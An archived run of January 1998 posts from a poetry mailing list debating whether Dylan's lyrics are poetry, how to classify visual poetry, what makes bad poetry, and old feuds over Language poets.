nobody said very much
just some old wild shirts & a couple pairs of pants
nobody really wanted to touch

mama come in and picked up a book
and papa asked her what it was
somebody else said, "what do you care"
and papa said "just because"

then he started to take back the clothes
and hang them on the line
it was january 30th
and everybody was feeling fine

the next day everybody got up
to see if the clothes were dry
the dogs were barking, a neighbor passed
mama of course she said "Hi"

"have you heard the news?" he said with a grin
"the vice-president's gone mad"

"where?" "downtown" "when?" "last night"
"hmm, well that's too bad"

"well there ain't nothing we can do about it" said the neighbor
"it's just something we're going to have to forget"
"yes, i guess so" said ma, then she asked me
if the clothes were still wet

i reached up and touched my shirt
the neighbor said "are those clothes yours?"
i said "some of them, not all of them"
then he said "you always help out around here with the chores?"

i said "some of the time, not all of the time"
then the neighbor, he blew his nose
just then papa yelled out
"mama wants you back in the house with those clothes"

i just do what i'm told to of course
so i went back into the house
mamma met me and took all the clothes
and then i shut all the doors

--This ballad, from The Basement Tapes, struck me from the word Go as wonderful folk-poetry (As well as more priceless bob dylan camping of a form); if Sir Patrick Spens and Twa Corbies etc etc which we were presented with in college english, sans music, cd be poetry, then surely "clothesline saga" will live for ever. David

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488. **DANIEL L. COLLIER**

Re: dylan vs. poetry

Fri 16 Jan 1998

Since the Dylan discussion continues...

My Russian rock geroi, Boris Grebinshikov, just released an album ("Lilit") recorded with members of The Band. Excellent album, but I presume it's not sold in the USA since it inexplicably bears a sticker announcing (po Angliskii) "Not Sold in the USA." Another bizarre manifestation of kiosk marketing theory.

If it is available, I recommend it. Avoid his English-language recordings, though; the lyrics are as bland as his Russian lyrics are intricate & rhythmic.

Danny

"Daleko, daleko..." -- DDT

↑ Index

489. William Burmeister Prod
Re: dylan vs. poetry
Fri 16 Jan 1998

If Dylan, then why not Jimi Hendrix. 'Specially within the context of blues guitar. How his axe had a way of nearly fatally de-electrifying it's operator as in Electric Ladyland. The axe as voice. empathy with the axee. what is the name of that long instrumental track on "lectric ladyland where he spasms out at the end with his axe? Say, if you get near a tune, play it.(- Groucho)

- William

↑ Index

490. KENT JOHNSON
Some questions for Don Byrd
Fri 16 Jan 1998

Following up on comments made by Don Byrd, Louis Cabri, and Doug Barbour about reading and talking about what we read:

Don-- I believe that for the past number of years you have been part of an informally-knit community of poets that has been seriously discussing a range of works. I have heard through the grapevine that this group has included Robert Kelly, Charles Stein, Jed Rasula, George Quasha, Elizabeth Robinson (?) among others. I wonder if you might say something here about that "experience," what such a poetic and intellectual community has meant to you and others involved, what some of the key focusings of your discussions were, and so on. In other words, what did you _read_ that that community (is "community" the appropriate word?) came to feel was indispensable to a serious grounding in poetics? I realize that _The Poetics of the Common Knowledge_ would stand as a "full" answer to these questions, but that incredible book is an answer of a labyrinth-like, very demanding kind (I myself have been reading the book off and on for a few months and am able to move only very slowly with it). So would it be possible for you to share here some of those readings that have been of most importance for you and to others you are close to?

And also: When you call for real discussion here around books that "five" or more people have read, do you think that this electronic medium is enough? What I mean is that I have this image of a small group of poets in upstate NY talking about poetry in somewhat domestic settings, where you heard each others' voices and laughter, watched the ways each other moved, shared food and drink, listened to music, touched the books you were talking about, embraced one another in hello or goodbye, and that all that is, however sentimental and

nostalgic it sounds, an intrinsic part of the true flowering of reading and community-- something that is not just incidental, but something to be sought out and cultivated as _necessary_, because such "sensuous" collective dimensions to reading enter and make deeper and more tangible one's particular _understanding_.

Maybe I'm sounding like a bad imitation of Sven Birkerts, and maybe the questions are fairly old and uninteresting. But if I'm at all saying anything relevant, what about the above, and what about this amorphous, fairly impersonal space we are now in? Can we really talk on the Buffalo Poetics list-- in the way that we would need to talk--about _reading_ a poet like Jack Clarke?

Kent

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491. Bob Grumman
Re: Whose Visual Poetics?
Fri 16 Jan 1998

Tom:

Some kind of online seminar would be great (aside from the possible loss of Danny's coffee and D A Powell's cookies). Not as a counter-statement but as a discussion would certainly be best if those hitherto ignoring us would agree to participate.

As for the people in what I loosely refer to as my crowd, there ARE a lot of them with no or difficult access to the web. I myself have only been connected to it for ten months. Money is one problem, and opposition to computers another. But enough visual poets are on the web to make it feasible.

The biggest problem would be getting participation--but I think if we made it a continuing seminar it could work. People offline could mail me statements. So, without thinking it through AT ALL, here's what I suggest:

1. I set up a URL for people to go to, to post a statement in answer to some Interesting Question. People without access to the web could mail their responses to me, Bob Grumman, 1708 Hayworth Road, Port Charlotte FL 33952.

2. For Interesting Question, I propose: "What is your take on the current American/Canadian/World visual poetry scene?"

3. I'd collect but not post responses until they'd built up to a fair size. Then I'd put them up unedited--but, maybe, with some attempt to put them into some kind of order . . . sort them by attitude, say.

4. Same thing for responses to the initial statements.

Another possibility would be to post some relevant essay and have people respond to that.

One odd problem: GeoCities, where my website is, is currently down, so who knows when I could do anything. I'm quite up about it, though.

Bob G.

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492. David Benedetti
Re: Dylan not vs. poetry
Fri 16 Jan 1998

"I'm a poet
I know it
Hope I don't blow it" --Dylan

Mandel's exclusionary categorical ambitions are pointless at best. The argument over (between) Dylan VERSUS poetry doesn't go anywhere productive. "Other serious artists"--"artists" include painters, musicians, poets, doesn'tt it?

Being a gray-beard, I heard and wrote down the lyrics of Dylan songs just at the moment (in the 60s) that they arrived, and they seemed like poetry to me. Also Ginsberg chanting/singing with a harmonium seemed like poetry to me.

Derrida had a lot to say about the false primacy of orality over writing. ("idealized oral antiquity"--Kasey Silem Mohammad Hicks)

On the other hand, Blood on the Tracks seemed like a let down to me, kind of toward a country music dirrection...

Highway 61, going electric, "Like a Rolling Stone" seemed like one of the major high points....

children of poets are twice as likely to write poor briefs in law school

Attacking langpo--or the people involved--is not only self defeating but shows only the limitations and prejudices of the attacker. (wake up Joe Safdie)

I like Watten. I even lived with him for a month or two.

But that's another poem, and
I haven't got time to be a dumb brat

David B (and I don't mean Bromige) aka Ben Dead (Benedetti)

On Thu, 15 Jan 1998, Tom Mandel wrote:
> Tho I respect Don Byrd a lot, Dylan vs. "other serious artists" (i.e.
> poets) doesn't seem to me to be on any target.
>

> Dylan is not a poet. His lyrics, great in their musical contexts, do not
> support being read either on a page or aloud w/o music. "Sarah," a song I
> love and whose lyrics, as I said in a previous post, I typed onto my
> screen, makes no sense at all as a poem. That's ok, it's not meant that way.
>
> Dylan is a song-writer, a musician. Obviously, there are literary
> influences active but they are adjectival or, better, tonal with respect to
> the song.
>
> "But poetry once *was* a musical art. The Psalms? Sappho?" Oral shape, oral
> memory are different media from those of writing. Once you could write
down
> thoughts, everything changed. Poetry changed.
>
> But, that's obvious -- or at least known. There's a lot more to investigate
> that I haven't got time even to adumbrate here.
>

↑ Index

493. **Bob Grumman**

Re: Expression/Self-Expression

Fri 16 Jan 1998

Good post on your reaction to the word, "express," Harold. I guess I'm just more of a reductionist than you: "expression" is completely different to me from "self-expression." Anyway, "expressive-of-the- visual" is not a taxonomic term of mine, just an ad hoc way of describing textual poems that are, how 'bout "visually-descriptive?" but not therefore visual. But they do more than describe; they add emotional over/under-tones. So they express. Or we could call such poems visio-advertive. See, now you've gotten me into my addiction to neologizing. I now think maybe at the lowest level of my taxonomy (which does not classify by subject-matter yet but at the lowest level, I guess, might) "visio-advertive," "audio-advertive" (poetry about music, say), "mathadvertive," etc., might work.

I don't see words as containers but (very old-fashionedly) as tags. They make you remember what you've perceived in the past. I would claim your brain has "tree" stored somewhere, and that when you read it, the "knowlecule" (as I call it in my theory of the mind, which is even nuttier than my poetics) in your brain for "tree" straight-forwardly links to all the knowlecules there that have anything to do with trees, the strength of any particular link depending on context. For instance, now "tree" will probably not be making you think of some particular tree that you climbed as a kid--as its repetition just now possibly does. This

all probably sounds simple-minded and, I think, is. I hope it gives you an idea of where I'm coming from, though.

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494. **Christina Fairbank Chirot**

Re: Whose Visual Poetics?

Fri 16 Jan 1998

First, I'd like to thank Luigi for sending on a useful and "important" (I realize Jordan Davis wd. like to purge this word--but beware those who urge to purge!)--list of journals and web sites to start finding out about visual poetry. I shd note, that besides the CORE anthology , Crag Hill (with Spencer Selby) has done some magnificent issues year in and year out of SCORE--as well, Harry Burrus's great journal O!!ZONE also had a 97 edition, which Luigi may not have mentioned-- So--thanks, Luigi! And to put in a plug for you--Luigi's Taproot Review has continually covered visual poetry productions-- I want to say that I whole heartedly agree with Bob Grumman's points re the class being presented by Dr. Perloff. As a participant in visual poetry and mail art, I am always of two minds--first--it would be great if there were more recognition for visual poets and mail artists. Second--maybe it is better not to be recognized! Except amongst ourselves and the ever growing network of fellow artists and poets, the people like Karl Young who have put in years of work and love and faith in their publishing, organizing of shows and web sites--and there is it sometimes seems almost weekly an ever growing number of sites--the people who put out the mail art and visual poetry calls and organize the exhibitions and performances, make and print the catlogues and send out the documentation--maybe it is best, in the spirit of this activity, that the graduate seminars just handle what is --easier to handle--that is, work in the more "aco-dominant" (to use A Gurmman taxonomic phrase) vein--because this work "fits" better (the issue of the shoehorn brought up . . . should we consult the former First Lady of the Phillipines in this regard . . or Nike . . .)--and makes things easier for theoretical discourse, which often can recognize only the objects it has already described, or those which mirror and echo in the proscribed manner its rules . . . re the issue of being able to bring people for one reason or another to give readings--as I believe Bob pointed out, and I know from experience, as long as there is a place to sleep and a kettle on, well, visual poets will come-one way or another!--(ask jwcurry who rides the rails, hopping freights--) The issue Bob is trying to bring up--I hope I understand it?--is that now seems to be the moment when suddenly after a long period of lack of interest on the part of the academic community, there is now a kind of flare up of what hopefully is not simply a faddish interst in visual poetry--and, in that perhaps brief moment, there will be a kind of institutionalizing and narrowing, a categorization and

canonization (for all the academic world's wanting to do away with the canon--it seems they are continually inventing new sub canons, making a Byzantine world Borges would have enjoyed writing some stories about!)-which will put in place a kind of accepted criteria and curriculum of visual poetry--and once again, the vast and vibrant and vital world of visual poetry--this will be passed by--much as in a city square for example, full of life, a tourist might pause before the monuments in the center, erected by the powers that be, and consider this, consulting the guidebook and taking a few photos and notes--and pass on--while all that was quite possibly quite well alive in that moment--the movements of the people, the voices, the spontaneous outbreaks of music or painting on walls, or recitations by contemporary zaumi--all this--is washed away with the sand--

but then again--perhaps it is better to be in the sun, continually, though it may to others appear to be shade--than to have a "moment in the sun" that is only a snapshot to be pinned down like a beetle on a dusty shelf . . .

"viva la escritura en libertad"

TODOS SOMOS MARCOS

(btw--re the tenor of this discussion--did anyone notice 13 January 1998 was
the 100th anniversary of Zola's "J'accuse"--!!??? --)

dave baptiste chirot

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495. **d powell**

Re: what is bad poetry?

Fri 16 Jan 1998

W. C. Williams in a letter to R. Creeley: "Bad Poetry is that which does not succeed in purging the dead, stinking dead, usages from the language." This quoted from memory, so it may be inexact. David B., do you have a better idea?

Doug

==========
D A Powell [redacted]
==========

Thomas Bell wrote:
>
> What is BAD POETRY?

>
>tom bell
>
>>>
>>> Study: Children of Divorce Twice as Likely to Write Bad Poetry
>>>
>>> http://www.theonion.com/onion3301/divorcepoetry.html
>>>
>>> Excerpts:
>>>
>>> "DURHAM, NC--A study released Monday by Duke University's >Center for the
>>> American Family confirmed what many child-development experts >have
>>> asserted for years: Children whose parents are divorced are >twice as
>>> likely to compose bad poetry as those whose parents are >married....
>>>
>>> "The Duke researchers also found a strong correlation between >the nature
>>> of a particular divorce and quality of poetry. In 90 percent >of divorces
>>> categorized as "amicable," the breakup results in rhyming >poems, usually
>>> with irritating, "sing-songish" A-B-A-B rhyme schemes. The >more
>>> acrimonious the split, however, the greater the odds of a >child turning
>>> to other, more wretch-inducing poetic forms: Eighty-five >percent of
>>> contested divorces end in free verse, the study found, and >three in four
>>> divorces involving custody battles end in haiku...."
>>>
>>> [More like "retch-inducing," maybe?]
>>>
>>> Rachel Loden
>>>
>>
>>
>
>----------
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 25991 invoked from network); 16 Jan 1998 >20:39:05 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 16 Jan 1998 20:39:05 -0000
>Received: (qmail 24903 invoked from network); 16 Jan 1998 >18:39:36 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)

> by deliverance.acsu.buffalo.edu with SMTP; 16 Jan 1998 18:39:36 >-0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
>LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 26627735 >for
> [redacted]; Fri, 16 Jan 1998 >13:39:32 -0500
>Received: (qmail 20649 invoked from network); 16 Jan 1998 >18:39:31 -0000
>Received: from transfer.usit.net ([redacted]) by
> listserv.acsu.buffalo.edu with SMTP; 16 Jan 1998 >18:39:31 -0000
>Received: from trbell (NASH-MAX191.DYNAMIC.USIT.NET >[208.10.174.81]) by
> transfer.usit.net (8.8.7/8.8.5) with SMTP id NAA14436; >Fri, 16 Jan
> 1998 13:39:29 -0500 (EST)
>X-Sender: [redacted]
>X-Mailer: Windows Eudora Light Version 1.5.4 (32)
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>Message-ID: <[redacted]>
>Date: Fri, 16 Jan 1998 12:43:12 -0600
>Reply-To: UB Poetics discussion group ><[redacted]>
>Sender: UB Poetics discussion group ><[redacted]>
>From: Thomas Bell <[redacted]>
>Subject: Re: FYI (baby poet maudit alert)
>To: [redacted]
>
>

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496. **Christina Fairbank Chirot**

Re: Whose Visual Poetics? (fwd)

Fri 16 Jan 1998

---------- Forwarded message ----------
Date: Fri, 16 Jan 1998 14:45:39 -0600 (CST)
From: Christina Fairbank Chirot <[redacted]>
To: Bob Grumman <[redacted]>
Cc: [redacted]
Subject: Re: Whose Visual Poetics?

First, I'd like to thank Luigi for sending on a useful and "important" (I realize Jordan Davis wd. like to purge this word--but beware those who urge to purge!)--list of journals and web sites to start finding out about visual poetry. I shd note, that besides the CORE anthology , Crag Hill (with Spencer Selby) has done some magnificent issues year in and year out of SCORE--as well, Harry

Burrus's great journal O!!ZONE also had a 97 edition, which Luigi may not have mentioned-- So--thanks, Luigi! And to put in a plug for you--Luigi's Taproot Review has continually covered visual poetry productions-- I want to say that I whole heartedly agree with Bob Grumman's points re the class being presented by Dr. Perloff. As a participant in visual poetry and mail art, I am always of two minds--first--it would be great if there were more recognition for visual poets and mail artists. Second--maybe it is better not to be recognized! Except amongst ourselves and the ever growing network of fellow artists and poets, the people like Karl Young who have put in years of work and love and faith in their publishing, organizing of shows and web sites--and there is it sometimes seems almost weekly an ever growing number of sites--the people who put out the mail art and visual poetry calls and organize the exhibitions and performances, make and print the catlogues and send out the documentation--maybe it is best, in the spirit of this activity, that the graduate seminars just handle what is --easier to handle--that is, work in the more "aco-dominant" (to use A Gurmman taxonomic phrase) vein--because this work "fits" better (the issue of the shoehorn brought up . . . should we consult the former First Lady of the Phillipines in this regard . . or Nike . . .)--and makes things easier for theoretical discourse, which often can recognize only the objects it has already described, or those which mirror and echo in the proscribed manner its rules . . . re the issue of being able to bring people for one reason or another to give readings--as I believe Bob pointed out, and I know from experience, as long as there is a place to sleep and a kettle on, well, visual poets will come-one way or another!--(ask jwcurry who rides the rails, hopping freights--) The issue Bob is trying to bring up--I hope I understand it?--is that now seems to be the moment when suddenly after a long period of lack of interest on the part of the academic community, there is now a kind of flare up of what hopefully is not simply a faddish interst in visual poetry--and, in that perhaps brief moment, there will be a kind of institutionalizing and narrowing, a categorization and canonization (for all the academic world's wanting to do away with the canon--it seems they are continually inventing new sub canons, making a Byzantine world Borges would have enjoyed writing some stories about!)-which will put in place a kind of accepted criteria and curriculum of visual poetry--and once again, the vast and vibrant and vital world of visual poetry--this will be passed by--much as in a city square for example, full of life, a tourist might pause before the monuments in the center, erected by the powers that be, and consider this, consulting the guidebook and taking a few photos and notes--and pass on--while all that was quite possibly quite well alive in that moment--the movements of the people, the voices, the spontaneous outbreaks of music or painting on walls, or recitations by contemporary zaumi--all this--is washed away with the sand--

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"viva la escritura en libertad"

TODOS SOMOS MARCOS

(btw--re the tenor of this discussion--did anyone notice 13 January 1998 was
the 100th anniversary of Zola's "J'accuse"--!!??? --)

dave baptiste chirot

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497. **Miekal And**
address?
Fri 16 Jan 1998

---

anyone have Manuel Brito's address handy. wet addresses are extrodinary visual poetry but not so functional. backchannel me.

miekal

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498. **Jimi**
Re: dylan vs. poetry
Fri 16 Jan 1998

On Fri, 16 Jan 1998 14:30:19 -0500 William Burmeister Prod said:
>If Dylan, then why not Jimi Hendrix. 'Specially within the context of blues
>guitar. How his axe had a way of nearly fatally de-electrifying it's operator
>as in Electric Ladyland. The axe as voice. empathy with the axee. what is the
>name of that long instrumental track on "lectric ladyland where he spasms out
>at the end with his axe? Say, if you get near a tune, play it.(- Groucho)
>
Oh if only once a streak
of air and summer warmth could make me
(sleep and death avoiding)
hear the axis of the earth, the axis of the earth...
- Mandelstam, late 1930s, trans. D. McDuff

(not a good translation)

Hendrix never tries to be "above it all"... his X does that for him.
"Look over yonder".... blues is Ezekiel. The wheel of the Earth,
invisible except to blind Blake.

- Henry Gould
(cf. final footnote to "Mudlark Poster #10") Hoooeee!!

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499. **Jimi**
Re: Dylan not vs. poetry
Fri 16 Jan 1998

---

what Derrida says about orality has nothing to do with reading a poem out loud or hearing a voice in your chest. Tom Mandel is right about poetry as an "art form" - it's just naked words spoken, recited, wallawalla. - Henry Gould

↑ Index

500. **david bromige**
bad poetry
Fri 16 Jan 1998

Doug, I yield to you in this matter. After all, you did give us the "Bad Poetry manifesto" a few years ago.(Would you post it to this List?) De gustibus non disputandum would be my motto, except that questions of taste are what people persecute one another for all over the world, all the time. "One [person's] meat is another [person's] poison" makes more sense. I can't believe what some people think is good poetry, and I cant even believe that I once thought such-&-such was good poetry, because today it strikes me as bad. Here in California (as you know), one strives for the value-free evaluation : "It's all part of the pile . . " But I really would like a dollar back from the State for each bad poetry reading I've sat through--I could send my kids to graduate school. "Used" language or whatever the wcw quote was (it's hidden behind my own message-in-progress, and I can't be bothered to look for it)--well, Flaubert's "Dictionary of Received Ideas", and the recent take on it from The Impercipient, are both marvelous fun. It's all in how we use used language. Poetry recycles language, we cd say.

"O spade, wherewith Wilkinson hath delved,"--I think I have that right--is bad, dont you agree? And it's Wordsworth. A lot of bad poetry turns up intermittently among not-so-bad poetry. Theres plenty of it in my oeuvre. Its the unremittingly bad that knocks the stuffing out of a reader/auditor.

I do wonder that people think they can write (good) poetry without knowing the equivalent of scales & chords. Just because we talk all our lives, but most of us seldom sing, I guess. What _is_ the equivalent of scales & chords? It cd be writing sonnets & pantoums & villanelles, or it cd be reading 50 books of poetry published before 1940. But all the scales and chords there are, wont necessarily produce surprising/pleasing/stimulating music. Me, I'm going to lie on the couch and read William MacGonnigal. Go for it! David

↑ Index

501. david bromige
funny poets
Fri 16 Jan 1998

Did I neglect to name Rae Armantrout? And the humor is right there in the poems, too! (Often, not the case : e.g. Robert Duncan was a barrel of laughs improv'ing conversation or annotating verbally twixt poems at a reading, but his poetry doesn't have much to laugh about does it, except in a couple poems.) Not that humor is everything. But then again, I recall the time when Jack Hirschman said to Sherril Jaffe, after her reading, "Good, but not enough pain"--to which she responded, "Well, pain isn't everything, you know, Jack."

I had better issue a disclaimer at this point, to the effect that I know I am forgetting to name other langpoets who can make me laugh, but that enough is as good as a feast, & that I've already posted more than is good for me--or anyone else--to the List today (yesterday, Wednesday . . .). David

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502. Rachel Loden
Re: FYI (baby poet maudit alert)
Fri 16 Jan 1998

Jordan Davis wrote:

> *The classic though is the article that conclusively proves "Babies are stupid".*

Oh, I agree! And Matthew Stadler is right that the piece is from _The Onion_, which is why I helpfully posted the URL. Tom Bell asks "What is BAD POETRY?" I doubt I have the critical apparatus to answer that one, but "The Purple Lake of Desolation," reproduced (complete with angry cross-outs) in the piece, is at least Exhibit A.

So again:

http://www.theonion.com/onion3301/divorcepoetry.html

"Wasserbaum urged America's troubled couples to split up while their children are still very young. 'If you have children who are, say, between the ages of three and nine, and you suspect you might not want to spend the rest of your life with your spouse, I would urge you to get divorced now,' he said. 'At least that way, your kids have a fighting chance to heal emotionally before they reach their prime poetry-writing teenage years, and we can all be spared reading about a beautiful rose that withers and dies because no sunlight ever fell upon it.'"

Rachel

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503. **Maz881**
barratt's beauty
Fri 16 Jan 1998

---

who said watten looked like george will? that's just wrong. he looks like clark kent. i have a big crush on barrett. he's always showed great kindness to those less fortunate than himself. me, for example. don't go messing up his looks. now become the the person in your life. start writing autobiography. don't you just swoon when he uses the imperative?

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504. **Safdie Joseph**
Re: dullard brutes of langpo
Fri 16 Jan 1998

Well, as David's already officially signed off the list for the weekend, I guess I can go ahead and try to respond to some of his comments three or four posts ago. (By the way, thanks A LOT to all who backchanneled me about this post; I do think Mark Leyner's piece I appended at the top is pretty great -- especially considering humor and those who have it, or don't -- and I'll be glad to furnish that to anyone who couldn't get it. And David Benedetti: I'm awake, thanks. Glad to hear that any adverse comments about langpo are automatically invalid: is that on one of your computer programs? It's a real honor to hear from some-one with no limitations or predudices).

So, David Bromige wrote:

> I appreciate Joe Safdie's frankness. But sometimes it's more like a
> steamroller than a scalpel.
>
Only sometimes? I was envisioning myself behind one of those tanks at Tiannemen Square . . .

> The traits he attributes in one part to the
> langpos of sf en masse, turn out to be just those that he feels
> Barrett
> Watten possesses.
>
No, this is an example of metonymy (I think) -- the part standing for the whole.

> Later in his post, he declares that langpoets (again en
> masse) were/are "devoid of humor and wit." Perelman? Benson?
> Harryman?
> Robinson? Four of the wittiest, funniest people I ever met! Ron
> Silliman
> once worked as a standup comedian! And perhaps perilangpoetic, but
> certainly very much in the middle of things then, the devastating wit
> of
> Tom Mandel, the deadpan humor of Michael Palmer!
>
I like to laugh more than I like to do almost anything, so I'm very glad
to hear this. You know, I don't get around much, but what I've seen on
this list has been more devastating than witty . . .

> Joe's take is unhappily similar to Tom Clark's would-be
> assassinations in
> _Poetty Flash_ mid-80s. Barrett is made the butt, and on the other
> hand,
> _all_ langpos are tarred with the Barrett brush.
>
> Moving in and taking over--what do you think it was like when Black
> Mountain came to _your_ town?! When the Beats rolled into cities in
> the
> middle of the night, their tanks on rubber tracks, their submachine
> guns
> loaded with live ammo?
>
Just tons of military metaphors here, David! Where do they come from?

> There's been worse than Langpo, Joe! Ever read
> Robert Duncan's sadistic dissection of Robin Blaser's versions of _Les
> Chimeres_ ? Look it up--in a journal called _Audit_ issued in Buffalo
> in
> 66-67 or 67-68 : page upon redundant page of vitriolic grandstanding.
> Our
> dear friend Robert Duncan (I say that not only with irony). It drove
> Robin
> out of the country.
>
I'll look it up, thanks. Do you think Robin still holds a grudge? Surely
you're not suggesting that all criticism is vitriolic grandstanding.

> Ever read Ed Dorn & Tom Clark's _Rolling Stock_ ,
>
frequently; I was, as they say, "present at the creation"

> that wanted to wipe out
> any number of xenotypes, including gays with aids?
>
As you know, this article has been discussed on the list before and
really, too much was said about it then.

> I personally do not
> remember any occasion of Dodie Bellamy being tortured, nor would I
> have
> stood idly by had I been witness.
>
I wonder what Dodie did mean by what she said.

> I did hear complaints, from others, that
> they felt left out. It didn't appear to be, initially, a matter of
> personal
> animosity, but rather of ideological difference. So then why would you
> want
> to be acknowledged by a group that you thought should not exist?
>
It wasn't that _I_ wanted to be acknowledged; it was exactly a matter of
"ideological difference" -- certain poets and ideas and poetic theories
that I valued were being ignored, trampled upon even, in the name of
something altogether more narrow and petty.

> Tom Clark was one mean opponent whose chief exception to langpo (since
> he
> couldnt handle theory)
>
stop with the ad hominems already! Tom can more than speak for himself,
but he's hardly someone who "couldn't handle theory"!

> was that they operated as a group, This was to
> overlook Tom Clark and his cronies in the late 60's with their "All
> Stars
> anthology" and attitude. Well, that and his objection to Watten as
> humorless. Let me assure those of you who have not felt the barb of
> BW's
> wit, that he is far from that.
>
I'll take your word for it -- I can only go on what I experienced.

> What I say above concerning groups does not, in my opinion, apply to
> any
> entity that takes upon itself the responsibility for the entire poetic
> community, such as the newspaper Poetry Flash. Tom became a willing
> hitman
> for Poetry Flash. Read the xenofiles for '85.
>
I don't have to, I remember it; I wrote one of the letters that
followed.

> PF still has a virtual
> embargo on Langpoets, which soon will have been in place as long as
> the
> USA's, on Cuba. A couple of token comrades have been admitted. I
> myself
> became involved in a cyclone in '89 after PF published my report on
> the
> Objectivist Conference at Royaumont : a number of contribs--and a PF
> editor--tried to trash it and the Conference, because in their
> judgment,
> Langpoets had no right to confer about Objectivists. Certainly not if
> it
> involved flying them to France, rather than (I guess) card-carrying
> Objecitvist scholars and poets. I dont know where Joe was when "out of
> the
> country,"
>
. . . it was the Czech Republic . . .

> but unless it was Bosnia, he probably had a quieter time than we
> did in SF. That cyclone whirled for 6 months.
>
I remember that too! And I don't want Joyce Jacobs or Richard Silberg or
the many other tireless workers of _Poetry Flash_ to take this the
wrong way, but . . . thank GOD I don't have to see _Poetry Flash_ every
month any more.

> Steve Benson, btw, is married, recently a father, living (quietly?) on
> the
> coast of northern Maine (hope they are ok thru this wretched weather).
> B-c
> me anyone who would like Steve's address. One of the two or three
> finest
> poets of performance in the anglophone world,

agreed!
> and sorely missed by his
> friends and fans out here.
>

But really, David, I thank you for this post and all your posts. As I tried to say in my summation, I don't quite feel the same way about "langpo" as I did in the early 80s -- I don't, for example, feel anymore (as I did then) that it's a phenomenon that can be treated carte blanche. I try (in the context of my many prejudices and limitations, of course) to give everything that crosses my path an honest look. But I resisted then, as I hope I would now, any so-called "movement" that wanted to sweep away what had gone before in its triumphal path; the Tradition is important to me. Sometimes I think it's all we have -- "liberating the past from the future" as a current essay contest says. This is getting a little too watery for my own tastes so I'll stop. Only one more thing: is Michael Boughn not on this list anymore? What happened to the Jack Clarke sub-group? (where we had, Don, in fact started to talk about _In The Analogy_ in a fairly substantive way!)

Joe Safdie

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505. **William Marsh**
Re: Whose Visual Poetics? Verbal or visual?
Fri 16 Jan 1998

At 02:40 PM 1/14/98 -0500, bob g wrote:
>Henry Gould asks, "If the boundaries are really frayed (regarding the
>classification of visual poetry)- would you include poetry that
>directs its attention to actual works of visual art under this rubric?"
>
>I, for one, would not, Henry. I classify on what a poem does, not its
>subject matter. Similarly, for me a mathematical poem is a poem that
>DOES math, not one that merely discusses something mathematical.
>
well, the modem's been down for two days and i'm just now able to get back into the fray (or not so frayed) of Poetics / i agree with bob here / no, i wouldn't use "visual poetry" to name the poetry henry describes, unless the "actual works" it directs its attention to are the poems themselves (going mobius here, sorry) / but, in the spirit of challenging perhaps over-taxed taxonomies, what if, for example, you put a poem about an external work online and then link to that work (let's assume it's a work of visual art built for online display), i wonder whether or not that other-sited work

would then become part, by hypertextual appropriation, of the poem / could we then call the whole thing a "visual poem"? (skirting temporarily, if i may, the idea that anything "on screen" is visual anyway) / bob, i know i'm giving you grief with my own terminology, but my own word for this--freely absorbing or integrating stuff off the web into singular works (or v.v. self-integrating into the web-work-world)--is "transpiracy": an over-arching term i sometimes use for everything i do on the web (ie, it's all there, i just build through it)

otherwise, karen kelley's idea of "the verbal and the visual suggesting relationships with our senses that want to mix together to form something greater than graphic or phonemic: an expression that speaks to our eyes/hands/mouths/minds" [can't forget ears] seems useful when attempts to distinguish the two get out of hand

for what it's worth 2 days late

bill marsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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506. **Bob Grumman**
Defining Visual Poetry
Fri 16 Jan 1998

Bill, I love "transpiracy!"

As for your question about what to call "for example . . .a poem about an external work online (that's linked) link to that work (let's assume it's a work of visual art built for online display," I say it's just a captioned illumage (work of visual art)--or an illustrated poem. I think my Official Taxonomy has more awkward terms for this, but I can't remember them right now, and can't access my site, which is at GeoCities, which is having temporary problems. I wouldn't call such a combination a visual poem. Also, I wouldn't call anything onscreen visual.

Thanks for the response, Bill. At times like this I wish there were some way to allow readers of a thread to signify interest or non-interest. I truly wonder if our chat is interesting more than three or four other people. I'm having fun, though!

--Bob

G.

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507. **Harold Rhenisch**
Re: Whose Visual Poetics?
Fri 16 Jan 1998

>>>As a participant in
visual poetry and mail art, I am always of two minds--first--it would be
great if there were more recognition for visual poets and mail artists.
Second--maybe it is better not to be recognized! <<<

Mainstream poetry could benefit by such wisdom.

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508. **Joe Ahearn**
Re: Dylan not vs. poetry
Sat 17 Jan 1998

> *Highway 61, going electric, "Like a Rolling Stone" seemed like one of the major high points....*

At the end of an acid trip once (this was **not** in the Sixties o graybeards) someone played "It's Alright Ma, I'm Only Bleeding," and when it was over another friend said, "Oh so that's what the void's like."

I think about '66 Dylan saw something that scared him so bad he just had to back away. Hence country music and all the rest.

Like you, David B, I think Dylan going electric was one of the Really Big Deals. I'm not kidding. I think what happened with Dylan, the Band, and electricity after Newport '65 probably changed the world. And when I finally heard it (in '75, through the hiss of a faraway and drifting Canadian all-night station), it certainly changed me.

On the other hand, I met a woman once who claimed to have spent the night with Dylan in a camper parked on Sixth Street in Austin. Desperate for gossip, insight, whatever, I said, well tell me, what happened. It was awful, she said, he made me chew tobacco.

> *Attacking langpo--or the people involved--is not only self defeating but shows only the limitations and prejudices of the attacker. (wake up Joe Safdie)*

Once after a reading by a Famous Language Poet in San Francisco, my friend Len walked up to the poet and said, wow that was great, here's your pineapple. And he handed her a pineapple. Would it have been better if he had saved his pineapple for, say, Galway Kinnell, or Marvin Bell, or James Merrill? Or is it best just to go ahead and give away pineapples when the mood hits, even if the only poet there is a Language Poet?

~~~
~~~

football, some people will actually watch the game. I suppose my 50th birthday party (1994) might be more what you are thinking of. Paul Metcalf (as a descendent of Melville, a Gansevoort in Albany terms), Gerrit Lansing (whose family were 17th-century Dutch settlers of Albany), and Peter Ten Eyck (also from the 17th century Dutch and owner of apple orchards in western Albany county) were, at one point, around a table with William Kennedy, the chronicler of Irish Albany, talking about the history of Albany.

